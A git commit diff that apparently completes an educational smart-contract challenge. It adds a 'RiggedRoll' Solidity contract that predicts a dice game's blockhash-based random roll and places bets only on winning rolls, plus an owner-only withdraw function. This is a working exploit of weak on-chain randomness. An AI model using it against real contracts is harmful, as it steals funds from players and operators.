feat: finish challenge

packages/hardhat/contracts/RiggedRoll.sol

@@ -11,6 +11,9 @@ contract RiggedRoll is Ownable {
     /////////////////
 
     // Errors go here...
+    error NotEnoughETH(uint256 required, uint256 available);
+    error NotWinningRoll(uint256 roll);
+    error InsufficientBalance(uint256 requested, uint256 available);
 
     //////////////////////
     /// State Variables //
@@ -31,4 +34,29 @@ contract RiggedRoll is Ownable {
     ///////////////////
 
     // Functions go here...
+    function riggedRoll() public {
+      uint256 required = 0.002 ether;
+
+      uint256 balance = address(this).balance;
+      if (balance < required) revert NotEnoughETH(required, balance);
+
+      // calculate
+      bytes32 prevHash = blockhash(block.number - 1);
+      bytes32 hash = keccak256(abi.encodePacked(prevHash, address(diceGame), diceGame.nonce()));
+      uint256 roll = uint256(hash) % 16;
+
+      if (roll > 5) revert NotWinningRoll(roll);
+
+      diceGame.rollTheDice{value: required}();
+    }
+
+    function withdraw(address _addr, uint256 _amount) public onlyOwner {
+      uint256 balance = address(this).balance;
+      if (balance < _amount) revert InsufficientBalance(_amount, balance);
+
+      (bool sent,) = payable(_addr).call{value: _amount}("");
+      require(sent, "failed to transfer");
+    }
+
+    receive() external payable {}
 }